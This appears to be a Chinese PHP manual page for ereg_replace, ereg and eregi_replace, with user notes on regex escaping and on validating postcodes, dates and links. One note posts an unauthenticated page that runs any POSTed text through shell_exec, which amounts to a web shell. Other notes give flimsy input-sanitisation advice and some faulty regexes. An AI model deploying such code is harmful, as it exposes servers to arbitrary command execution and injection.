例如，下面的代码片断输出 "This was a test" 三次：

例子 1. ereg_replace() 例子

<?php

$string = "This is a test";
echo str_replace(" is", " was", $string);
echo ereg_replace("( )is", "\\1was", $string);
echo ereg_replace("(( )is)", "\\2was", $string);

?>

要注意的一点事如果在 replacement 参数中使用了整数值，则可能得不到所期望的结果。这是因为 ereg_replace() 将把数字作为字符的序列值来解释并应用之。例如：

例子 2. ereg_replace() 例子

<?php
/* 不能产生出期望的结果 */
$num = 4;
$string = "This string has four words.";
$string = ereg_replace('four', $num, $string);
echo $string;   /* Output: 'This string has   words.' */

/* 本例工作正常 */
$num = '4';
$string = "This string has four words.";
$string = ereg_replace('four', $num, $string);
echo $string;   /* Output: 'This string has 4 words.' */
?>

例子 3. 将 URL 替换为超连接

<?php
$text = ereg_replace("[[:alpha:]]+://[^<>[:space:]]+[[:alnum:]/]",
                     "<a href=\"\\0\">\\0</a>", $text);
?>

提示: preg_replace() 函数使用了 Perl 兼容正则表达式语法，通常是比 ereg_replace() 更快的替代方案。

参见 ereg()，eregi()，eregi_replace()，str_replace() 和 preg_match()。

add a note add a note User Contributed Notes
Joachim Kruyswijk
25-May-2006 03:59
Use mb_ereg_replace() instead of ereg_replace() when working with multi-byte strings!
chrish at shield dot on dot ca
13-Feb-2006 09:43
I was having problems with Microsoft Outlook viewing forms within email.  I was only able to see the first word of the text box after I used the following code.

If I entered words into the text box and used the enter key to give me a CRLF I could see in the returned data the %0D%0A string, so I assumed if I just used the ereg-replace as below it would just replace the %0D%0A with a single space...

function remove_extra_linebreaks($string) {
   $new_string=ereg_replace("%0D%0A", " ", $string);
  return $new_string;
}

But the form as displayed by Outlook only showed the text upto the first replaced string, then it was blank!
I could view the source of the email and it would show all of the text I expected.

The following will show the correct data in the form

function remove_extra_linebreaks($string) {
   $new_string=ereg_replace("%0D%0A", '+', $string);
  return $new_string;
}
Chris
21-Jan-2006 03:43
I've updated the function a little that was posted below.  I use it to make database field names readable when making a header row.  I needed it to quit putting a space in "GPA" and to put a space in between numbers and letters.

<?php
/**
*  Converts "fieldcontainingGPAInMyDatabaseFrom2005"
*  To      "Field Containing GPA In My Database From 2005"
*/
function innerCapsToReadableText($text) {
   $text = ereg_replace("([A-Z]) ", "\\1",ucwords(strtolower(ereg_replace("[A-Z]"," \\0",$text))));
   return ereg_replace("([A-Za-z])([0-9])", "\\1 \\2", $text);
}
?>
codergeek42 at users dot sourceforge.net
22-Dec-2005 01:15
In response to "php dot net at lenix dot de," a cleaner (easier to read) method would be to type-cast the integer as a string by quoting it. For example:

<?php
$foo = 42;
echo ereg_replace ( "bar", "$foo" , "foobar" ); /* Would output "foo42". */
?>
benlanc at ster dot me dot uk
23-Aug-2005 06:49
Quite how I managed to get my previous post so wrong, I don't know. Correction follows:
<?php
/* function to turn InterCaps style strings (i.e. CSS Properties in Javascript) to human readable ones */
function deInterCaps($var){
   return ucfirst(strtolower(ereg_replace("[A-Z]"," \\0",$var)));
}

$interCapsString = "aLoadOfNonsenseToDemonstrateTheFunction";

echo deInterCaps($interCapsString);

// output: A load of nonsense to demonstrate the function
?>
benlanc at ster dot me dot uk
22-Aug-2005 06:07
<?php
/* function to turn InterCaps style strings (i.e. CSS Properties in Javascript) to human readable ones */
function deInterCaps($var){
   return ucfirst(strtolower(ereg_replace("[A-Z]"," \\1",$var)));
}

$interCapsString = "aLoadOfNonsenseToDemonstrateTheFunction";

echo deInterCaps($var);

// output: A load of nonsense to demonstrate the function
?>
php dot net at lenix dot de
07-Jul-2005 06:26
One thing to take note of is that if you use an integer value as the replacement parameter, you may not get the results you expect. This is because ereg_replace() will interpret the number as the ordinal value of a character, and apply that.

If you're ever having trouble with this one there's an easy workarround:

instead of
<?php
$foo = 23;
echo ereg_replace ( "bar", $foo , "foobar" );
?>

just do

<?php
$foo = 23;
echo ereg_replace ( "bar", "" . $foo , "foobar" );
?>

to replace "bar" inside "foobar" with the string "23".
zaczek at gmail dot com
05-Jul-2005 07:09
If you want the function to process query strings, such as:

http://www.php.net/index.php?id=10%32&wp=test

modify the function as follows:

function hyperlink(&$text)
{
   // match protocol://address/path/
   $text = ereg_replace("[a-zA-Z]+://([-]*[.]?[a-zA-Z0-9_/-?&%])*", "<a href=\"\\0\">\\0</a>", $text);

   // match www.something
   $text = ereg_replace("(^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
Sanitization Function
11-Apr-2005 09:09
// Clean potentially nasty stuff from a string
function clean_string($string)
{
   return ereg_replace("[^[:space:]a-zA-Z0-9*_.-]", "", $string);
}
cristiklein at yahoo dot com
10-Apr-2005 05:50
Sometimes, you would like to match both styles of URL links that are common in chat windows:

http://www.yahoo.com
www.yahoo.com

You can do this by using the following code:

<?php
function hyperlink(&$text)
{
   // match protocol://address/path/
   $text = ereg_replace("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*", "<a href=\"\\0\">\\0</a>", $text);

   // match www.something
   $text = ereg_replace("(^| )(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
?>

You can use this function like this:
<?php
$line = "Check the links: www.yahoo.com http://www.php.net";
hyperlink($line);
// Now, all text that looks like a link becomes a link
?>
bgoodman at osogrande dot com
03-Mar-2005 06:25
When you are dealing with databases you can end up with quite a few \" to deal with.  To ereg_replace all these with something else it requires you to \ the \ and \ the " so you end up with:

$var1 = '\"';
$var2 = ereg_replace('\\\"','1234',$var1);

print $var2;  //this should print 1234
eerie at gmx dot net
28-Feb-2005 03:44
<?php $path = ereg_replace("\\", "/", $path); ?>
as posted from mmtach at yahoo dot com causes an error because you have to escape the backslash twice, once for the quotation marks and a second time due the posix syntax.
<?php $path = ereg_replace("\\\\", "/", $path); ?>
or
<?php $path = ereg_replace('\\', "/", $path); ?>
should both work as expected. since you don't have to escape the backslash in brackets (posix syntax) his alternative works also.
AT-HE ( at_he at h0tmail dot com )
22-Feb-2005 07:08
hi..  i am just learning php since a few days.. i had mount a website in my own pc and want let users to post messages..

anyway, i wrote a very tiny page that let you run some commands remotely, that is useful mostly as example of ereg_replace and shell_exec :D

<!-----run.php-----
<pre>
<?php

$salida=ereg_replace("<","&lt;",shell_exec($_POST["comando"]));
echo "comando: ",$_POST["comando"],"<br>",$salida,"<br>";

?>
<form action="run.php" method="post">
comando: <input type="text" name="comando">
</form>

</pre>
-----eof----->

the ereg_replace is only for replace the "<" character at the output for his code, which html reads as a tag..

- first tou must write something in the form..
- when page is opened again it takes it, replaces "<" characters and puts in $salida variable (it may be useful later)..
-  then prints out and you can write something again :)

.. i haven't change the ">" and other characters.. i don't know if you can process the same string changing its lenght in the process..

maybe it becomes illegible after changing patterns of diffrent length such $str=ereg_replace("a","aaaaa",$str), dont know yet.

greetings ;)
mmtach at yahoo dot com
15-Apr-2002 07:04
found problem:
$path = ereg_replace("\\", "/", $path); //dos path to unix
gives warning error: "EREG_EESCAPE"
this does work:
$path = ereg_replace("[\\]", "/", $path);
add a note add a note

后退 | 起点 | 前进
POSIX 扩展正则表达式函数 | 上一级 | ereg


ereg

(PHP 3, PHP 4, PHP 5)

ereg -- 正则表达式匹配

说明

bool ereg ( string pattern, string string [, array regs] )

注: 使用 Perl 兼容正则表达式语法的 preg_match() 函数通常是比 ereg() 更快的替代方案。

以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。

如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs，则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串，$regs[2] 包含第二个子串，以此类推。$regs[0] 包含整个匹配的字符串。

注: 直到 PHP 4.1.0 为止，$regs 将被填充为正好十个单元，即使实际匹配的子串少于十个。这并不影响 ereg() 匹配更多子串的能力。如果没有找到匹配，则 $regs 不会被 ereg() 更改。

如果在 string 中找到 pattern 模式的匹配则返回 TRUE，如果没有找到匹配或出错则返回 FALSE。

以下代码片断接受 ISO 格式的日期（YYYY-MM-DD）然后以 DD.MM.YYYY 格式显示：

例子 1. ereg() 例子

<?php
if (ereg ("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})", $date, $regs)) {
    echo "$regs[3].$regs[2].$regs[1]";
} else {
    echo "Invalid date format: $date";
}
?>

参见 eregi()，ereg_replace()，eregi_replace()，preg_match()，strpos() 和 strstr()。

add a note add a note User Contributed Notes
tomas at phusis dot co dot uk
06-Jun-2006 11:41
I could not find a definitive and 100% working function that validates the UK postcodes, so was forced to write one myself.
The authoritative source of information is

http://www.govtalk.gov.uk/gdsc/html/frames/PostCode.htm

which I amended with the new postcode for Tristan da Cunha.

Here is the ugly beast (don't wanna see regexp's ever again):

<?php
function IsPostcode($postcode) {
  $postcode = strtoupper(str_replace(chr(32),'',$postcode));
  if(ereg("^(GIR0AA)|(TDCU1ZZ)|((([A-PR-UWYZ][0-9][0-9]?)|"
."(([A-PR-UWYZ][A-HK-Y]][0-9][0-9]?)|"
."(([A-PR-UWYZ][0-9][A-HJKSTUW])|"
."([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))))"
."[0-9][ABD-HJLNP-UW-Z]{2})$", $postcode))
   return $postcode;
  else
   return FALSE;
}
?>
petfrogg at hotmail dot com
12-May-2006 06:06
According to the manual the usage of regexps are slower then build in functions. I was faced with the need of a conf-file in order to confirm to the company standard and in order to fix this I needed to parse strings and automaticly set the correct type of every type fetched from the conf-file as strings. Ive red some examples of this using eregs but none worked for me. This is my working solution:

function _setType($mValue){
$mReturnData = trim($mValue);
   switch($mReturnData){
   case strtolower($mReturnData)== 'true':
       $mReturnData = true;
   break;
   case strtolower($mReturnData)== 'false':
       $mReturnData = false;
   break;
   case strtolower($mReturnData)== 'null':
       $mReturnData = null;
   break;
   case is_numeric($mReturnData):
       if($mReturnData == (integer)$mReturnData){
           $mReturnData = (integer)$mReturnData;
       }else{
       $mReturnData = (float)$mReturnData;
       }
   break;
   default:
       $mReturnData = $mReturnData;

   }
return $mReturnData;
}

Hope it will help someone.
'morgan'.'galpin'.chr(64).'gmail'.'.com'
12-May-2006 04:16
Try this version instead of the one previously posted.

<?php
  /**
   Returns an array containing each of the sub-strings from text that
   are between openingMarker and closingMarker. The text from
   openingMarker and closingMarker are not included in the result.
   This function does not support nesting of markers.
  */
  function returnSubstrings($text, $openingMarker, $closingMarker) {
   $openingMarkerLength = strlen($openingMarker);
   $closingMarkerLength = strlen($closingMarker);

   $result = array();
   $position = 0;
   while (($position = strpos($text, $openingMarker, $position)) !== false) {
     $position += $openingMarkerLength;
     if (($closingMarkerPosition = strpos($text, $closingMarker, $position)) !== false) {
       $result[] = substr($text, $position, $closingMarkerPosition - $position);
       $position = $closingMarkerPosition + $closingMarkerLength;
     }
   }
   return $result;
  }

  // Example:
  $exampleText = "<b>bonjour</b> tous, <b>comment</b> allez-vous ?";
  $result = returnSubstrings($exampleText, "<b>", "</b>");
  var_export($result);

  // Prints:
  // array (
  //  0 => 'bonjour',
  //  1 => 'comment',
  // )
?>
info at orgied dot com
21-Mar-2006 10:54
Here's a function i've created to return an array of each substring searched in a string.

<?
function Return_Substrings($text, $sopener, $scloser)
               {
               $result = array();

               $noresult = substr_count($text, $sopener);
               $ncresult = substr_count($text, $scloser);

               if ($noresult < $ncresult)
                       $nresult = $noresult;
               else
                       $nresult = $ncresult;

               unset($noresult);
               unset($ncresult);

               for ($i=0;$i<$nresult;$i++)
                       {
                       $pos = strpos($text, $sopener) + strlen($sopener);

                       $text = substr($text, $pos, strlen($text));

                       $pos = strpos($text, $scloser);

                       $result[] = substr($text, 0, $pos);

                       $text = substr($text, $pos + strlen($scloser), strlen($text));
                       }

               return $result;
               }
?>

Example :

<?
   $string = "<b>bonjour</b> tous, <b>comment</b> allez-vous ?";

   $result = Return_Substrings($string, "<b>", "</b>");
?>
psonice (aat) gmail.com
15-Mar-2006 05:39
I wanted a more strict check for UK postcodes, and decided to do it by stripping all whitespace then using ereg:

<?php
$pcode=str_replace(" ","",$in_post_code);
if (!ereg('^[a-zA-Z]{1,2}[0-9]{1,2}[a-zA-Z]{0,1}[0-9]{1}[a-zA-Z]{2}$', $pcode))
{
   return false;
}
?>

Probably could be improved, as I've just started, but it matches everything listed on the post office spec.
Tristan Scott - trs998 at gmail dot com
14-Mar-2006 12:15
ereg("^[a-zA-Z]{1,2}((\d{1,2})|(\d{1}[a-zA-Z]{1}))[ ]?\d{1}[a-zA-Z]{2}$")
Should check for valid postcodes in the uk.
Note: this will not match GIR 0AA, whcih is in use but doesn't follow the post office rules. also, this is not strict... some invalid postcodes are permitted some letters do not appear in  some positions. It will, however, match:
AN NAA
ANN NAA
AAN NAA
AANN NAA
ANA NAA
AANA NAA
odnowa-sql at o2 dot pl
25-Feb-2006 02:28
I would like to inform you about a bug-like thingy which I've seen when trying to convert BBcode [url][/url] tags to HTML <a href=''></a> tag. This was my code:

$vn = ereg_replace("\\[url=([^\[]*)\\]([^\[]*)\\[/url\\]","<a href='http://\\1'>\\2</a>",$vn);

It looks a bit complicated, look closer at the following part of above line:
[^\[]
You will probably notice ONE backslash instead of two, but it really worked when I was trying to match everything except [ character. And the [^\\[] sequence did not work. So, when you are placing a negated bracket, escape it by ONE backslash.
bob_at_drenai_dot_com
23-Feb-2006 10:13
Not quite right on the postcode validation...

Check the standards at

http://www.govtalk.gov.uk/gdsc/html/frames/PostCode.htm
Hup2.com
07-Feb-2006 07:35
if anyone needs the code to validate a uk postcode I have included it below:

// check post code is in correct format

if (!ereg("^[A-Z]{1,2}[0-9]{1,2}[[:space:]][0-9]{1}[A-Z]{2}", strtoupper($postcode))) {

   print "You need to enter a valid post code!<br/><br/>";

}

Hope this helps someone

Chris
ar_cat at shaw dot ca
15-Dec-2005 07:13
I had problem using is_numeric() to verify if user inputs is a number (including optional floating sign and decimals).  Instead I found this expression from http://www.regular-expressions.info/floatingpoint.html and modified it for a bit.

^[+-]?[0-9]*\.?[0-9]+$

/*
3.55      true
-3.55    true
+3.55    true
2456.90  true
34skd    false
23.      false
2dt6      false
*/

Note: mine doesn't have the exponent part; for matching number with exponents, visit the site above :)
net_navard at yahoo dot com
15-Nov-2005 11:35
Hello

I think this is not clear:

"the matches will be stored in the elements of the array regs. $regs[1] will contain the substring which starts at the first left parenthesis; $regs[2] will contain the substring starting at the second, and so on. $regs[0] will contain a copy of the complete string matched. "

Beacause By "substring," it means the string contained within the parenthesis.

But in that statement it isn't so clearly

With regards

Amir Hossein Estakhrian
bnewbold at codegreene dot com
04-Nov-2005 06:36
mcallier at gmail dot com's expression for zip codes is still wrong.
"^[0-9]{5}(-[0-9]{4})*$" will call the following zip codes good:

91425
91425-3444
91425-3444-3455
91425-3444-3455-4556
(etc)

the star (*) in the expression means zero or more.
Instead it should be a question mark (?) meaning zero or one only.

use "^[0-9]{5}(-[0-9]{4})?$"
Jason Smart knarlin at yahoo dot com dot au
16-Oct-2005 04:13
A common mistake seems to be trying to escape characters within a bracket
expression. Unlike the preg functions, backslash is always taken literally
within a bracket expression using the ereg functions. See
http://php.planetmirror.com/manual/en/function.eregi.php#57824
for more details.

Some of the posts here can be re-written to be much simpler.

16-Feb-2005 10:02
attempts to allow square brackets in a string with
^[a-zA-Z0-9 [.[.] [.].] ]{1,}$
Although this appears to work a less confusing means is
^[]a-zA-Z0-9[]{1,}$
The ] has to be the first character (after a possible ^) but the [ can be
anywhere as long as it is not in the middle of a range of course.

09-Apr-2005 11:52
Says that ereg("hi[:space:]*bob", $string)
doesnt work in php 4 and to use preg_match() instead.

The above quoted use is incorrect it should be
<?php ereg("hi[[:space:]]*bob", $string); ?>

I tested this with the following in php 4.3.3 and it works fine
<?php
//The hex codes are space, tab, line feed, vertical tab, form feed, carriage return
 $whitespace = "\x20\x09\x0a\x0b\x0C\x0d";
 $teststring = "hi".$whitespace."bob";
 $result = ereg ("hi[[:space:]]*bob", $teststring, $arr);
echo ('Matches '.$result.' characters');
//Prints Matches 11 characters
?>

23-May-2005 08:22
Says that ereg("^[' A-Za-Z]+$", $cardName); will not work.

The fault with the above is the range a-Z the capital Z comes before small a
and so this will fail. The following works fine
<?php
$cardname = "John 'Doe'";
$result = ereg("^[' A-Za-z]+$", $cardname, $arr);
echo ('Matches '.$result.' characters');
//Prints Matches 10 characters
?>

09-Sep-2005 11:01
Tries to escape with \ in a bracket expression
You cannot with ereg functions (preg you can) so
ereg("^([-a-zA-Z0-9_\.\!@#\$&\*\+\=\|])*$" , $var)
should be
<?php ereg("^([-a-zA-Z0-9_.!@#$&*+=|])*$", $var); ?>
mcallier at gmail dot com
05-Oct-2005 04:21
I think that fox's zip code check may need a slight modification. Here is fox's code:

$error_code=(ereg("^[0-9]{5}(-[0-9]{4})$",$zip))? NULL:1;

This will error on valid zipcodes such as 99212. If you change the regular expression to:

$error_code=(ereg("^[0-9]{5}(-[0-9]{4})*$",$zip))? NULL:1;

It will not error on valid zipcodes such as 99212.

To test this you may use the following code:

<?php
$testzip[]="99212";
$testzip[]="9921";
$testzip[]="99212-1234";
$testzip[]="9921a";
$testzip[]="99212-12";
$regex['fox']="^[0-9]{5}(-[0-9]{4})$";
$regex['mcallier']="^[0-9]{5}(-[0-9]{4})*$";
foreach($regex as $key=>$expression)
{
   echo($key."<br>\n");
   echo("-----------<br>\n");
   foreach($testzip as $value)
   {
       $test=ereg($expression,$value);
       $test==1?$test="good":$test="bad";
         echo("$value=$test<br>\n");
   }
   echo("<br>\n");
}
?>

The output of this is:

fox
-----------
99212=bad
9921=bad
99212-1234=good
9921a=bad
99212-12=bad

mcallier
-----------
99212=good
9921=bad
99212-1234=good
9921a=bad
99212-12=bad
Jason knarlin at yahoo dot com dot au
03-Oct-2005 02:19
A previous post stated "Beware that eregs in PHP4 are broken, for instance if you want to match "a to z, 0,9 and -" you might want to use [a-z0\-9] but it will silently fail due to a bug"

This is incorrect, this is not a bug, nor is ereg broken on this count!
In my testing of ereg, matching `-' `[' or `]' within a bracketed expression ereg works exactly according to the regex man page http://www.tin.org/bin/man.cgi?section=7&topic=regex referred from the php manual page at http://au3.php.net/manual/en/ref.regex.php

From the regex man page you will find that within a bracketed expression to match a literal `]'  make it the first character (following a possible `^'). To include a literal `-' make it the first or last  character, or the second endpoint of a range. To use a literal `-' as the first endpoint of a range, enclose it in `[.'  and  `.]'

spook says
if you want a string to work that matches "a to z", "A to Z", "0 to 9", "-", "[", "]" and "_" you will have to use this expression:
([0-9a-zA-Z_]|\-|\[|\])
end spook says

A neater solution is
[]0-9a-zA-Z_[-]

I hope this settles that ereg is not buggy or broken in this regard

(I reposted as the preview on this board misled me, I thought I had to escape \ )
Jason knarlin at yahoo dot com dot au
03-Oct-2005 12:48
A previous post stated "Beware that eregs in PHP4 are broken, for instance if you want to match "a to z, 0,9 and -" you might want to use [a-z0\\-9] but it will silently fail due to a bug"

This is incorrect, this is not a bug, nor is ereg broken on this count!
In my testing of ereg, matching `-' `[' or `]' within a bracketed expression ereg works exactly according to the regex man page http://www.tin.org/bin/man.cgi?section=7&topic=regex referred from the php manual page at http://au3.php.net/manual/en/ref.regex.php

From the regex man page you will find that within a bracketed expression to match a literal `]'  make it the first character (following a possible `^'). To include a literal `-' make it the first or last  character, or the second endpoint of a range. To use a literal `-' as the first endpoint of a range, enclose it in `[.'  and  `.]'

spook says
if you want a string to work that matches "a to z", "A to Z", "0 to 9", "-", "[", "]" and "_" you will have to use this expression:
([0-9a-zA-Z_]|\\-|\\[|\\])
end spook says

A neater solution is
[]0-9a-zA-Z_[-]

I hope this settles that ereg is not buggy or broken in this way
eregitate
09-Sep-2005 09:01
It was really hard for me to get the next checker!!!
I think the information displayed here is really scarce.
I had to get a PHP book to get the following information:

to indicate the start of a string : ^, nothing comes before it

you'll need to escape the following characters (with a backslash \ ) :
. \ ! + * ? [ ] ^ $ ( ) = ! < > | and :
the characters above each have a special meaning,
that's why you need to escape them to include them in a string.

* means : match this pattern 0 or more times
? means : match this pattern exactly 1 time
+ means : match this pattern 1 or more times

and $ means the definite end of a string, nothing may come afterward.

With this information I could finaly check a complete string containing only a few allowed character types :

ereg("^([-a-zA-Z0-9_\.\!@#\$&\*\+\=\|])*$" , $var)

some of the other tips here let other character through like < and >,
which I did not want to get past my check! Hope this helps out.
chrismax2u at yahoo dot com dot cn
02-Sep-2005 04:15
use ereg() and checkdate()

$input_date="2005-09-02";
//check date with ereg()
if (!ereg("^(20[0-9]{2})-(0[1-9]|1[0-2])-([12][0-9]|3[01])$",
$input_date))
{
   echo "<script>alert(\"pass!\")</script>";
}

//check date with checkdate()
$explode_date=explode("-",$input_date);
if (!checkdate($explode_date['1'],$explode_date['2'],
$explode_date['0']))
{
   echo "<script>alert(\"stop!\")</script>";
   exit;
}
fox
10-Aug-2005 11:13
concerning the 'valid postal code' bit from 25 july -

regular expressions are good for turning the longer zip checking code given below into much shorter snippets, such as the following (which accomplishes the same zip code check):

$error_code=(ereg("^[0-9]{5}(-[0-9]{4})$",$zip))? NULL:1;

the expression requires the first five digits and allows an additional four; the hyphen is required if the optional four are present
puremango dot co dot uk at gmail dot com
19-Jul-2005 09:34
for constructing regexes, I recommend

http://www.weitz.de/regex-coach/

-it highlights the match as you type it!!!
Joel Weierman
23-Jun-2005 03:56
While this is relatively simple example, I was unable find a clean method of doing this anywhere else, so I thought I would post it here.

As part of a file upload package, I wanted to prevent the uploading of double byte character filenames and other special ASCII characters that may not work well on a Windows and/or Linux system. Here is the statement I ended up using which seems to have done the trick.

ereg("[^a-zA-Z0-9._-]", $file_name)
irlkersten at gmail dot com
23-Jun-2005 02:54
On a small note to email checking:
Recently it is possible to register domains like www.kche.de

This would also mean that the IsEMail() function from "php at easy2sync dot com" would report an email address like "contact@kche.de" as false.

To correct this, use the function below:

function IsEMail($e)
{
   if(eregi("^[a-zA-Z0-9]+[_a-zA-Z0-9-]*
(\.[_a-z0-9-]+)*@[a-z0-9]+
(-[a-z0-9]+)*(\.[a-z0-9-]+)*
(\.[a-z]{2,4})$", $e))
   {
       return TRUE;
   }
   return FALSE;
}
23-May-2005 06:22
I am trying to use ereg to validate a credit card name, and all I want it to do is make sure that letters, spaces and apostrophes are allowed. ereg("^[' A-Za-Z]+$", $cardName);
This did not work as I expected it too, in fact I could not enter even enter all letters ?
berndt at michael berndt dot de
29-Apr-2005 09:23
extract various array elements with ereg()
http://www.michael-berndt.de/ie/tux/BerndtSector.htm
php at REMOVEMEkennel17 dot co dot uk
27-Apr-2005 10:00
After a lot of hard work I managed to create the following regular expression, which matches any HTML tag pair (i.e. opening and closing tag), as specified by tagname:

^(.*)(<[ \n\r\t]*tagname(>|[^>]*>))(.*)(<[ \n\r\t]*/[ \n\r\t]*tagname(>|[^>]*>))(.*)$

The expression is deliberately very forgiving of bad HTML - I wanted to match anything that could be reasonably accepted by a forgiving browser, rather than make it standards compliant. Whitespace is allowed between the tagname and the opening and closing tag symbols, and also between the / and the tagname for the closing tag.

For my own use, I have wrapped it in a function call, which you may find useful.  Here it is with a few notes. I hope somebody finds it useful.

- Mark Clements

<?php

function ereg_MatchedHTMLTags($tagname) {
   return "^(.*)(<[ \\n\\r\\t]*$tagname(>|[^>]*>))(.*)(<[ \\n\\r\\t]*/[ \\n\\r\\t]*$tagname(>|[^>]*>))(.*)$";
}

// Use with eregi to ensure case-insensitive match.
//        e.g. to split an HTML page based on body tag:
//            eregi(ereg_MatchedHTMLTags('body'), $Source, $Matches)

// The following values will be held in $Matches
//(marked values are unintended byproducts of the expression)
//          *[0] - the entire string ($Source).
//            [1] - everything before the opening tag
//            [2] - the opening tag, including all contents (i.e. everything between < and >)
//          *[3] - the opening tag from end of the tag name,
//                      e.g. '<body bgcolor="#000000">' gives ' bgcolor="#000000">'
//            [4] - the tag contents (everything between the opening and closing tag)
//            [5] - the complete closing tag.
//          *[6] - the closing tag from the end of the tag name
//                      e.g. '</body invalid text>' gives ' invalid text>'
//            [7] - everything after the closing tag.

?>
kitchen -at- script kitchen -dot- com
09-Apr-2005 09:52
just to note here, php4's ereg() doesn't support [:space:], so if you want to match arbitrary whitespace, use preg_match()

$string = "hi \t  bob";

if (ereg("hi[:space:]*bob", $string)) {
 print "you must be using php5!\n";
}

// php4 version

if (preg_match("/hi\s*bob/",$string)) {
 print "works in both php4 and php5!\n";
}

php5's ereg() does support [:space:]
alcator at seznam dot cz
12-Mar-2005 03:47
Reaction to:

(19[0-9]{2}|20[0-5]{2})-(0[0-9]|1[0-2])-([12][0-9]|3[01])

--> There is more problems than just "this will validate 2005-02-31". The worse problem is that it WON'T validate 2001-01-01...

(19[0-9]{2}|200[0-5]{1})-(0[1-9]|1[0-2])-(0[1-9]|[12][0-9]|3[01])

(Note that "00" is no longer possible for days and months, while allowing for 01..09...)

Still, it doesn't protect against non-existent dates.
Candle1deleteme2121 at DELETEMEhotmail dot com
08-Mar-2005 07:36
remember that putting an invalid date such as 2005-02-31 through mktime() http://uk2.php.net/manual/en/function.mktime.php you end up with a correct date, the above example would end up as 2005-03-03 (on a non-leap year)
LIX
02-Mar-2005 06:13
It's important to know - when you use
[0-9]{4})-([0-9]{2})-([0-9]{2}
to valid date in YYYY-MM-DD format then script accepts dates etc. 20005-02-035

You can use
^[0-9]{4})-([0-9]{2})-([0-9]{2}$
to valid regular date format YYYY-MM-DD.
25-Feb-2005 04:17
The date example above is still a little dodgey as this:

(19[0-9]{2}|20[0-5]{2})-(0[0-9]|1[0-2])-([12][0-9]|3[01])

will allow invalid dates such as

1900-00-31

Just a small correction is needed (IMO), switching a 0 for a 1:

(19[0-9]{2}|20[0-5]{2})-(0[1-9]|1[0-2])-([12][0-9]|3[01])
                                       ^
Of course invalid dates such as 31st feb are still possible.
punkpuke at comcast dot net
16-Feb-2005 08:02
This took me a little to find out, but from one PHP/Regex newb to another if your trying to let people use Square Brackets in a string:  [  ]

Like in this string for example: ^[a-zA-Z0-9]{1,}$

This following will most likely not work (You can't backslash them): ^[a-zA-Z0-9\[\]]{1,}$

So, to escape the Square Brackets, use the following to delimit collating symbols:

[. Special Character Goes Here  .]

So The New Expression:  ^[a-zA-Z0-9 [.[.] [.].] ]{1,}$ (I spaced it so it was less confusing)
rhondle at hotmail dot com
14-Feb-2005 07:56
In addition to validating a date string with a regular expression, it would be a good idea to test it's validity using PHP's checkdate() function.

http://www.php.net/manual/en/function.checkdate.php
Carrajola
12-Feb-2005 02:54
Since the example has the purpose of validating the date in $date and not just change it, the regular expression is not accurate, because a date like 0000-00-00 is validated.

It should be something like this:

(19[0-9]{2}|20[0-5]{2})-(0[0-9]|1[0-2])-([12][0-9]|3[01])

this regular expression is still not totally correct because it's not sensible to a impossible date like 2005-02-31.
add a note add a note

后退 | 起点 | 前进
ereg_replace | 上一级 | eregi_replace


eregi_replace

(PHP 3, PHP 4, PHP 5)

eregi_replace -- 不区分大小写替换正则表达式

说明

string eregi_replace ( string pattern, string replacement, string string )

本函数和 ereg_replace() 完全相同，只除了在匹配字母字符时忽略大小写的区别。

参见 ereg()，eregi() 和 ereg_replace()。

add a note add a note User Contributed Notes
carlos at braziland dot com
16-May-2006 08:11
@bluedragonx at gmail dot com: Now you're calling two functions instead of one. I'm trully curious if that would still be faster.

My original post was just to highlight the need to escape characters that could be used to abuse a contact form. Something everyone should do, especially if doing it for a customer.

But bluedragonx, thanks for your input.
melissa at melissagirl dot com
15-Apr-2006 12:28
Here's a nice case-insensitive highlight function that ignores any regular expression characters and highlights a word and leaves it in whatever case it was before:

<?
function highlight($word, $subject) {
   $regex_chars = '\.+?(){}[]^$';
   for ($i=0; $i<strlen($regex_chars); $i++) {
       $char = substr($regex_chars, $i, 1);
       $word = str_replace($char, '\\'.$char, $word);
   }
   $word = '(.*)('.$word.')(.*)';
   return eregi_replace($word, '\1<span class="highlight">\2</span>\3', $subject);
}
?>
02-Nov-2005 07:06
@bluedragonx: You're right. And i got the order of the params wrong as well, must've been sleepy when i wrote that note. For what it's worth:

<? $_POST['email'] = str_replace("[at]", "@", strtolower($_POST['email'])); ?>

Not similar to Carlos' code though, since it'll convert all characters to lowercase.
bluedragonx at gmail dot com
17-Oct-2005 07:42
Actually that wouldn't work because str_replace is case sensitive.  So any instances of [AT] [aT] or [At] would be ignored.
php dot net at nr78 dot net
08-Aug-2005 08:36
@carlos at braziland dot com: Hate to be a wisecrack, but i believe the following code might be slightly faster with the same result:

<?php

$_POST['email'] = str_replace("@", "[at]", $_POST['email']);

?>
carlos at braziland dot com
01-Aug-2005 03:54
So here is my answer to those who are trying to submit headers through my simple contact form:

$any_form_field = eregi_replace("@","[at]",$_POST['just_one_field']); //how can anyone send emails to other email addresses without the @ symbol :)

My suggestion is to do a foreach loop in the $_POST array and remove the @ symbol from all fields (unless you want one of the fields to have the @ symbol, in which case it should be very careful and question if the symbol is necessary).

Not the best solution, but it's simple and it works.
joltmans at amersel dot com
02-Mar-2005 03:06
PHP's Regex engine differs from several others in its treatment of parsing spaces.

In many Regex languages '\s' denotes a space.
PHP does not recognize '\s', just type a space ' ' instead.

This simple example illustrates the problem:
<?php
   $string = "A sentence with  spaces";
   if (eregi("with\s*spaces", $string))
   {
       // Will never print
       echo "PHP understood \s";
   }
   else
   {
       // Will always print
       echo "PHP doesn't understand \s";
   }
?>

This example does work:
<?php
   $string = "A sentence with  spaces";
   if (eregi("with *spaces", $string))
   {
       // Will print
       echo "PHP understood ' '";
   }
?>
28-Jan-2005 12:15
never mind my last post for the eregi_replace not replacing.

I just used str_replace instead and it works fine.  I must have had something wrong with my search string.  POSIX, Perl.. hmm.. yeah probably something there.

Mettedraq / Gene
Ausvald
20-Jun-2004 07:21
Zach Johnson missed up. ereg* funcs use posix regex, not the rfc one
furiousgreencloud at yahoo dot com
18-Jun-2004 11:47
